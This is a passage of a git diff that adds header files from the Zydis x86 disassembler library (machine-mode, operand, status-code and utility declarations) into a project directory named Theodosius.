reg); + +/** + * Returns the largest enclosing register of the given register. + * + * @param mode The active machine mode. + * @param reg The register. + * + * @return The largest enclosing register of the given register, or `ZYDIS_REGISTER_NONE` if the + * register is invalid for the active machine-mode or does not have an enclosing-register. + */ +ZYDIS_EXPORT ZydisRegister ZydisRegisterGetLargestEnclosing(ZydisMachineMode mode, + ZydisRegister reg); + +/** + * Returns the specified register string. + * + * @param reg The register. + * + * @return The register string or `ZYAN_NULL`, if an invalid register was passed. + */ +ZYDIS_EXPORT const char* ZydisRegisterGetString(ZydisRegister reg); + +/** + * Returns the specified register string as `ZydisShortString`. + * + * @param reg The register. + * + * @return The register string or `ZYAN_NULL`, if an invalid register was passed. + * + * The `buffer` of the returned struct is guaranteed to be zero-terminated in this special case. + */ +ZYDIS_EXPORT const ZydisShortString* ZydisRegisterGetStringWrapped(ZydisRegister reg); + +/* ---------------------------------------------------------------------------------------------- */ +/* Register class */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the width of the specified register-class. + * + * @param mode The active machine mode. + * @param register_class The register class. + * + * @return The width of the specified register. + */ +ZYDIS_EXPORT ZydisRegisterWidth ZydisRegisterClassGetWidth(ZydisMachineMode mode, + ZydisRegisterClass register_class); + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * @} + */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_REGISTER_H */ diff --git a/Theodosius/Zydis/SharedTypes.h b/Theodosius/Zydis/SharedTypes.h new file mode 100644 index 0000000..82a4121 --- /dev/null +++ b/Theodosius/Zydis/SharedTypes.h @@ -0,0 +1,480 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Defines decoder/encoder-shared macros and types. + */ + +#ifndef ZYDIS_SHAREDTYPES_H +#define ZYDIS_SHAREDTYPES_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Constants */ +/* ---------------------------------------------------------------------------------------------- */ + +#define ZYDIS_MAX_INSTRUCTION_LENGTH 15 +#define ZYDIS_MAX_OPERAND_COUNT 10 + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Machine mode */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisMachineMode` enum. + */ +typedef enum ZydisMachineMode_ +{ + /** + * 64 bit mode. + */ + ZYDIS_MACHINE_MODE_LONG_64, + /** + * 32 bit protected mode. + */ + ZYDIS_MACHINE_MODE_LONG_COMPAT_32, + /** + * 16 bit protected mode. + */ + ZYDIS_MACHINE_MODE_LONG_COMPAT_16, + /** + * 32 bit protected mode. + */ + ZYDIS_MACHINE_MODE_LEGACY_32, + /** + * 16 bit protected mode. + */ + ZYDIS_MACHINE_MODE_LEGACY_16, + /** + * 16 bit real mode. + */ + ZYDIS_MACHINE_MODE_REAL_16, + + /** + * Maximum value of this enum. + */ + ZYDIS_MACHINE_MODE_MAX_VALUE = ZYDIS_MACHINE_MODE_REAL_16, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_MACHINE_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MACHINE_MODE_MAX_VALUE) +} ZydisMachineMode; + +/* ---------------------------------------------------------------------------------------------- */ +/* Address width */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisAddressWidth` enum. + */ +typedef enum ZydisAddressWidth_ +{ + ZYDIS_ADDRESS_WIDTH_16, + ZYDIS_ADDRESS_WIDTH_32, + ZYDIS_ADDRESS_WIDTH_64, + + /** + * Maximum value of this enum. + */ + ZYDIS_ADDRESS_WIDTH_MAX_VALUE = ZYDIS_ADDRESS_WIDTH_64, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_ADDRESS_WIDTH_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_ADDRESS_WIDTH_MAX_VALUE) +} ZydisAddressWidth; + +/* ---------------------------------------------------------------------------------------------- */ +/* Element type */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisElementType` enum. + */ +typedef enum ZydisElementType_ +{ + ZYDIS_ELEMENT_TYPE_INVALID, + /** + * A struct type. + */ + ZYDIS_ELEMENT_TYPE_STRUCT, + /** + * Unsigned integer value. + */ + ZYDIS_ELEMENT_TYPE_UINT, + /** + * Signed integer value. + */ + ZYDIS_ELEMENT_TYPE_INT, + /** + * 16-bit floating point value (`half`). + */ + ZYDIS_ELEMENT_TYPE_FLOAT16, + /** + * 32-bit floating point value (`single`). + */ + ZYDIS_ELEMENT_TYPE_FLOAT32, + /** + * 64-bit floating point value (`double`). + */ + ZYDIS_ELEMENT_TYPE_FLOAT64, + /** + * 80-bit floating point value (`extended`). + */ + ZYDIS_ELEMENT_TYPE_FLOAT80, + /** + * Binary coded decimal value. + */ + ZYDIS_ELEMENT_TYPE_LONGBCD, + /** + * A condition code (e.g. used by `CMPPD`, `VCMPPD`, ...). + */ + ZYDIS_ELEMENT_TYPE_CC, + + /** + * Maximum value of this enum. + */ + ZYDIS_ELEMENT_TYPE_MAX_VALUE = ZYDIS_ELEMENT_TYPE_CC, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_ELEMENT_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_ELEMENT_TYPE_MAX_VALUE) +} ZydisElementType; + +/* ---------------------------------------------------------------------------------------------- */ +/* Element size */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisElementSize` datatype. + */ +typedef ZyanU16 ZydisElementSize; + +/* ---------------------------------------------------------------------------------------------- */ +/* Operand type */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisOperandType` enum. + */ +typedef enum ZydisOperandType_ +{ + /** + * The operand is not used. + */ + ZYDIS_OPERAND_TYPE_UNUSED, + /** + * The operand is a register operand. + */ + ZYDIS_OPERAND_TYPE_REGISTER, + /** + * The operand is a memory operand. + */ + ZYDIS_OPERAND_TYPE_MEMORY, + /** + * The operand is a pointer operand with a segment:offset lvalue. + */ + ZYDIS_OPERAND_TYPE_POINTER, + /** + * The operand is an immediate operand. + */ + ZYDIS_OPERAND_TYPE_IMMEDIATE, + + /** + * Maximum value of this enum. + */ + ZYDIS_OPERAND_TYPE_MAX_VALUE = ZYDIS_OPERAND_TYPE_IMMEDIATE, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_OPERAND_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_OPERAND_TYPE_MAX_VALUE) +} ZydisOperandType; + +/* ---------------------------------------------------------------------------------------------- */ +/* Operand encoding */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisOperandEncoding` enum. + */ +typedef enum ZydisOperandEncoding_ +{ + ZYDIS_OPERAND_ENCODING_NONE, + ZYDIS_OPERAND_ENCODING_MODRM_REG, + ZYDIS_OPERAND_ENCODING_MODRM_RM, + ZYDIS_OPERAND_ENCODING_OPCODE, + ZYDIS_OPERAND_ENCODING_NDSNDD, + ZYDIS_OPERAND_ENCODING_IS4, + ZYDIS_OPERAND_ENCODING_MASK, + ZYDIS_OPERAND_ENCODING_DISP8, + ZYDIS_OPERAND_ENCODING_DISP16, + ZYDIS_OPERAND_ENCODING_DISP32, + ZYDIS_OPERAND_ENCODING_DISP64, + ZYDIS_OPERAND_ENCODING_DISP16_32_64, + ZYDIS_OPERAND_ENCODING_DISP32_32_64, + ZYDIS_OPERAND_ENCODING_DISP16_32_32, + ZYDIS_OPERAND_ENCODING_UIMM8, + ZYDIS_OPERAND_ENCODING_UIMM16, + ZYDIS_OPERAND_ENCODING_UIMM32, + ZYDIS_OPERAND_ENCODING_UIMM64, + ZYDIS_OPERAND_ENCODING_UIMM16_32_64, + ZYDIS_OPERAND_ENCODING_UIMM32_32_64, + ZYDIS_OPERAND_ENCODING_UIMM16_32_32, + ZYDIS_OPERAND_ENCODING_SIMM8, + ZYDIS_OPERAND_ENCODING_SIMM16, + ZYDIS_OPERAND_ENCODING_SIMM32, + ZYDIS_OPERAND_ENCODING_SIMM64, + ZYDIS_OPERAND_ENCODING_SIMM16_32_64, + ZYDIS_OPERAND_ENCODING_SIMM32_32_64, + ZYDIS_OPERAND_ENCODING_SIMM16_32_32, + ZYDIS_OPERAND_ENCODING_JIMM8, + ZYDIS_OPERAND_ENCODING_JIMM16, + ZYDIS_OPERAND_ENCODING_JIMM32, + ZYDIS_OPERAND_ENCODING_JIMM64, + ZYDIS_OPERAND_ENCODING_JIMM16_32_64, + ZYDIS_OPERAND_ENCODING_JIMM32_32_64, + ZYDIS_OPERAND_ENCODING_JIMM16_32_32, + + /** + * Maximum value of this enum. + */ + ZYDIS_OPERAND_ENCODING_MAX_VALUE = ZYDIS_OPERAND_ENCODING_JIMM16_32_32, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_OPERAND_ENCODING_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_OPERAND_ENCODING_MAX_VALUE) +} ZydisOperandEncoding; + +/* ---------------------------------------------------------------------------------------------- */ +/* Operand visibility */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisOperandVisibility` enum. + */ +typedef enum ZydisOperandVisibility_ +{ + ZYDIS_OPERAND_VISIBILITY_INVALID, + /** + * The operand is explicitly encoded in the instruction. + */ + ZYDIS_OPERAND_VISIBILITY_EXPLICIT, + /** + * The operand is part of the opcode, but listed as an operand. + */ + ZYDIS_OPERAND_VISIBILITY_IMPLICIT, + /** + * The operand is part of the opcode, and not typically listed as an operand. + */ + ZYDIS_OPERAND_VISIBILITY_HIDDEN, + + /** + * Maximum value of this enum. + */ + ZYDIS_OPERAND_VISIBILITY_MAX_VALUE = ZYDIS_OPERAND_VISIBILITY_HIDDEN, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_OPERAND_VISIBILITY_REQUIRED_BITS = + ZYAN_BITS_TO_REPRESENT(ZYDIS_OPERAND_VISIBILITY_MAX_VALUE) +} ZydisOperandVisibility; + +/* ---------------------------------------------------------------------------------------------- */ +/* Operand action */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisOperandAction` enum. + */ +typedef enum ZydisOperandAction_ +{ + /* ------------------------------------------------------------------------------------------ */ + /* Elemental actions */ + /* ------------------------------------------------------------------------------------------ */ + + /** + * The operand is read by the instruction. + */ + ZYDIS_OPERAND_ACTION_READ = 0x01, + /** + * The operand is written by the instruction (must write). + */ + ZYDIS_OPERAND_ACTION_WRITE = 0x02, + /** + * The operand is conditionally read by the instruction. + */ + ZYDIS_OPERAND_ACTION_CONDREAD = 0x04, + /** + * The operand is conditionally written by the instruction (may write). + */ + ZYDIS_OPERAND_ACTION_CONDWRITE = 0x08, + + /* ------------------------------------------------------------------------------------------ */ + /* Combined actions */ + /* ------------------------------------------------------------------------------------------ */ + + /** + * The operand is read (must read) and written by the instruction (must write). + */ + ZYDIS_OPERAND_ACTION_READWRITE = ZYDIS_OPERAND_ACTION_READ | ZYDIS_OPERAND_ACTION_WRITE, + /** + * The operand is conditionally read (may read) and conditionally written by + * the instruction (may write). + */ + ZYDIS_OPERAND_ACTION_CONDREAD_CONDWRITE = + ZYDIS_OPERAND_ACTION_CONDREAD | ZYDIS_OPERAND_ACTION_CONDWRITE, + /** + * The operand is read (must read) and conditionally written by the + * instruction (may write). + */ + ZYDIS_OPERAND_ACTION_READ_CONDWRITE = + ZYDIS_OPERAND_ACTION_READ | ZYDIS_OPERAND_ACTION_CONDWRITE, + /** + * The operand is written (must write) and conditionally read by the + * instruction (may read). + */ + ZYDIS_OPERAND_ACTION_CONDREAD_WRITE = + ZYDIS_OPERAND_ACTION_CONDREAD | ZYDIS_OPERAND_ACTION_WRITE, + + /** + * Mask combining all reading access flags. + */ + ZYDIS_OPERAND_ACTION_MASK_READ = ZYDIS_OPERAND_ACTION_READ | ZYDIS_OPERAND_ACTION_CONDREAD, + /** + * Mask combining all writing access flags. + */ + ZYDIS_OPERAND_ACTION_MASK_WRITE = ZYDIS_OPERAND_ACTION_WRITE | ZYDIS_OPERAND_ACTION_CONDWRITE, + + /* ------------------------------------------------------------------------------------------ */ + + /** + * The minimum number of bits required to represent all values of this bitset. + */ + ZYDIS_OPERAND_ACTION_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_OPERAND_ACTION_CONDWRITE) +} ZydisOperandAction; + +/** + * Defines the `ZydisOperandActions` data-type. + */ +typedef ZyanU8 ZydisOperandActions; + +/* ---------------------------------------------------------------------------------------------- */ +/* Instruction encoding */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisInstructionEncoding` enum. + */ +typedef enum ZydisInstructionEncoding_ +{ + /** + * The instruction uses the legacy encoding. + */ + ZYDIS_INSTRUCTION_ENCODING_LEGACY, + /** + * The instruction uses the AMD 3DNow-encoding. + */ + ZYDIS_INSTRUCTION_ENCODING_3DNOW, + /** + * The instruction uses the AMD XOP-encoding. + */ + ZYDIS_INSTRUCTION_ENCODING_XOP, + /** + * The instruction uses the VEX-encoding. + */ + ZYDIS_INSTRUCTION_ENCODING_VEX, + /** + * The instruction uses the EVEX-encoding. + */ + ZYDIS_INSTRUCTION_ENCODING_EVEX, + /** + * The instruction uses the MVEX-encoding. + */ + ZYDIS_INSTRUCTION_ENCODING_MVEX, + + /** + * Maximum value of this enum. + */ + ZYDIS_INSTRUCTION_ENCODING_MAX_VALUE = ZYDIS_INSTRUCTION_ENCODING_MVEX, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_INSTRUCTION_ENCODING_REQUIRED_BITS = + ZYAN_BITS_TO_REPRESENT(ZYDIS_INSTRUCTION_ENCODING_MAX_VALUE) +} ZydisInstructionEncoding; + +/* ---------------------------------------------------------------------------------------------- */ +/* Opcode map */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisOpcodeMap` enum. + */ +typedef enum ZydisOpcodeMap_ +{ + ZYDIS_OPCODE_MAP_DEFAULT, + ZYDIS_OPCODE_MAP_0F, + ZYDIS_OPCODE_MAP_0F38, + ZYDIS_OPCODE_MAP_0F3A, + ZYDIS_OPCODE_MAP_0F0F, + ZYDIS_OPCODE_MAP_XOP8, + ZYDIS_OPCODE_MAP_XOP9, + ZYDIS_OPCODE_MAP_XOPA, + + /** + * Maximum value of this enum. + */ + ZYDIS_OPCODE_MAP_MAX_VALUE = ZYDIS_OPCODE_MAP_XOPA, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_OPCODE_MAP_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_OPCODE_MAP_MAX_VALUE) +} ZydisOpcodeMap; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_SHAREDTYPES_H */ diff --git a/Theodosius/Zydis/ShortString.h b/Theodosius/Zydis/ShortString.h new file mode 100644 index 0000000..bed45af --- /dev/null +++ b/Theodosius/Zydis/ShortString.h @@ -0,0 +1,90 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Defines the immutable and storage-efficient `ZydisShortString` struct, which + * is used to store strings in the generated tables. + */ + +#ifndef ZYDIS_SHORTSTRING_H +#define ZYDIS_SHORTSTRING_H + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +#pragma pack(push, 1) + +/** + * Defines the `ZydisShortString` struct. + * + * This compact struct is mainly used for internal string-tables to save up some bytes. + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZydisShortString_ +{ + /** + * The buffer that contains the actual (null-terminated) string. + */ + const char* data; + /** + * The length (number of characters) of the string (without 0-termination). + */ + ZyanU8 size; +} ZydisShortString; + +#pragma pack(pop) + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/** + * Declares a `ZydisShortString` from a static C-style string. + * + * @param string The C-string constant. + */ +#define ZYDIS_MAKE_SHORTSTRING(string) \ + { string, sizeof(string) - 1 } + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_SHORTSTRING_H */ diff --git a/Theodosius/Zydis/Status.h b/Theodosius/Zydis/Status.h new file mode 100644 index 0000000..d2a75f3 --- /dev/null +++ b/Theodosius/Zydis/Status.h @@ -0,0 +1,159 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Status code definitions and check macros. + */ + +#ifndef ZYDIS_STATUS_H +#define ZYDIS_STATUS_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Status codes */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Module IDs */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * The zydis module id. + */ +#define ZYAN_MODULE_ZYDIS 0x002u + +/* ---------------------------------------------------------------------------------------------- */ +/* Status codes */ +/* ---------------------------------------------------------------------------------------------- */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Decoder */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * An attempt was made to read data from an input data-source that has no more + * data available. + */ +#define ZYDIS_STATUS_NO_MORE_DATA \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x00u) + +/** + * An general error occured while decoding the current instruction. The + * instruction might be undefined. + */ +#define ZYDIS_STATUS_DECODING_ERROR \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x01u) + +/** + * The instruction exceeded the maximum length of 15 bytes. + */ +#define ZYDIS_STATUS_INSTRUCTION_TOO_LONG \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x02u) + +/** + * The instruction encoded an invalid register. + */ +#define ZYDIS_STATUS_BAD_REGISTER \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x03u) + +/** + * A lock-prefix (F0) was found while decoding an instruction that does not + * support locking. + */ +#define ZYDIS_STATUS_ILLEGAL_LOCK \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x04u) + +/** + * A legacy-prefix (F2, F3, 66) was found while decoding a XOP/VEX/EVEX/MVEX + * instruction. + */ +#define ZYDIS_STATUS_ILLEGAL_LEGACY_PFX \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x05u) + +/** + * A rex-prefix was found while decoding a XOP/VEX/EVEX/MVEX instruction. + */ +#define ZYDIS_STATUS_ILLEGAL_REX \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x06u) + +/** + * An invalid opcode-map value was found while decoding a XOP/VEX/EVEX/MVEX-prefix. + */ +#define ZYDIS_STATUS_INVALID_MAP \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x07u) + +/** + * An error occured while decoding the EVEX-prefix. + */ +#define ZYDIS_STATUS_MALFORMED_EVEX \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x08u) + +/** + * An error occured while decoding the MVEX-prefix. + */ +#define ZYDIS_STATUS_MALFORMED_MVEX \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x09u) + +/** + * An invalid write-mask was specified for an EVEX/MVEX instruction. + */ +#define ZYDIS_STATUS_INVALID_MASK \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x0Au) + +/* ---------------------------------------------------------------------------------------------- */ +/* Formatter */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returning this status code in some specified formatter callbacks will cause + * the formatter to omit the corresponding token. + * + * Valid callbacks: + * - `ZYDIS_FORMATTER_FUNC_PRE_OPERAND` + * - `ZYDIS_FORMATTER_FUNC_POST_OPERAND` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_REG` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_MEM` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_PTR` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_IMM` + */ +#define ZYDIS_STATUS_SKIP_TOKEN \ + ZYAN_MAKE_STATUS(0u, ZYAN_MODULE_ZYDIS, 0x0Bu) + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_STATUS_H */ diff --git a/Theodosius/Zydis/Utils.h b/Theodosius/Zydis/Utils.h new file mode 100644 index 0000000..aef9e96 --- /dev/null +++ b/Theodosius/Zydis/Utils.h @@ -0,0 +1,275 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Other utility functions. + */ + +#ifndef ZYDIS_UTILS_H +#define ZYDIS_UTILS_H + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Constants */ +/* ---------------------------------------------------------------------------------------------- */ + +#define ZYDIS_MAX_INSTRUCTION_SEGMENT_COUNT 9 + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Defines the `ZydisInstructionSegment` struct. + */ +typedef enum ZydisInstructionSegment_ +{ + ZYDIS_INSTR_SEGMENT_NONE, + /** + * The legacy prefixes (including ignored `REX` prefixes). + */ + ZYDIS_INSTR_SEGMENT_PREFIXES, + /** + * The effective `REX` prefix byte. + */ + ZYDIS_INSTR_SEGMENT_REX, + /** + * The `XOP` prefix bytes. + */ + ZYDIS_INSTR_SEGMENT_XOP, + /** + * The `VEX` prefix bytes. + */ + ZYDIS_INSTR_SEGMENT_VEX, + /** + * The `EVEX` prefix bytes. + */ + ZYDIS_INSTR_SEGMENT_EVEX, + /** + * The `MVEX` prefix bytes. + */ + ZYDIS_INSTR_SEGMENT_MVEX, + /** + * The opcode bytes. + */ + ZYDIS_INSTR_SEGMENT_OPCODE, + /** + * The `ModRM` byte. + */ + ZYDIS_INSTR_SEGMENT_MODRM, + /** + * The `SIB` byte. + */ + ZYDIS_INSTR_SEGMENT_SIB, + /** + * The displacement bytes. + */ + ZYDIS_INSTR_SEGMENT_DISPLACEMENT, + /** + * The immediate bytes. + */ + ZYDIS_INSTR_SEGMENT_IMMEDIATE, + + /** + * Maximum value of this enum. + */ + ZYDIS_INSTR_SEGMENT_MAX_VALUE = ZYDIS_INSTR_SEGMENT_IMMEDIATE, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_INSTR_SEGMENT_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_INSTR_SEGMENT_MAX_VALUE) +} ZydisInstructionSegment; + +/** + * Defines the `ZydisInstructionSegments` struct. + */ +typedef struct ZydisInstructionSegments_ +{ + /** + * The number of logical instruction segments. + */ + ZyanU8 count; + struct + { + /** + * The type of the segment. + */ + ZydisInstructionSegment type; + /** + * The offset of the segment relative to the start of the instruction (in bytes). + */ + ZyanU8 offset; + /** + * The size of the segment, in bytes. + */ + ZyanU8 size; + } segments[ZYDIS_MAX_INSTRUCTION_SEGMENT_COUNT]; +} ZydisInstructionSegments; + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/** + * @addtogroup utils Utils + * Miscellaneous utility functions. Address translation and other helpers. + * @{ + */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Address calculation */ +/* ---------------------------------------------------------------------------------------------- */ + +// TODO: Provide a function that works in minimal-mode and does not require a operand parameter + +/** + * Calculates the absolute address value for the given instruction operand. + * + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param operand A pointer to the `ZydisDecodedOperand` struct. + * @param runtime_address The runtime address of the instruction. + * @param result_address A pointer to the memory that receives the absolute address. + * + * @return A zyan status code. + * + * You should use this function in the following cases: + * - `IMM` operands with relative address (e.g. `JMP`, `CALL`, ...) + * - `MEM` operands with `RIP`/`EIP`-relative address (e.g. `MOV RAX, [RIP+0x12345678]`) + * - `MEM` operands with absolute address (e.g. `MOV RAX, [0x12345678]`) + * - The displacement needs to get truncated and zero extended + */ +ZYDIS_EXPORT ZyanStatus ZydisCalcAbsoluteAddress(const ZydisDecodedInstruction* instruction, + const ZydisDecodedOperand* operand, ZyanU64 runtime_address, ZyanU64* result_address); + +/** + * Calculates the absolute address value for the given instruction operand. + * + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param operand A pointer to the `ZydisDecodedOperand` struct. + * @param runtime_address The runtime address of the instruction. + * @param register_context A pointer to the `ZydisRegisterContext` struct. + * @param result_address A pointer to the memory that receives the absolute target-address. + * + * @return A zyan status code. + * + * This function behaves like `ZydisCalcAbsoluteAddress` but takes an additional register-context + * argument to allow calculation of addresses depending on runtime register values. + * + * Note that `IP/EIP/RIP` from the register-context will be ignored in favor of the passed + * runtime-address. + */ +ZYDIS_EXPORT ZyanStatus ZydisCalcAbsoluteAddressEx(const ZydisDecodedInstruction* instruction, + const ZydisDecodedOperand* operand, ZyanU64 runtime_address, + const ZydisRegisterContext* register_context, ZyanU64* 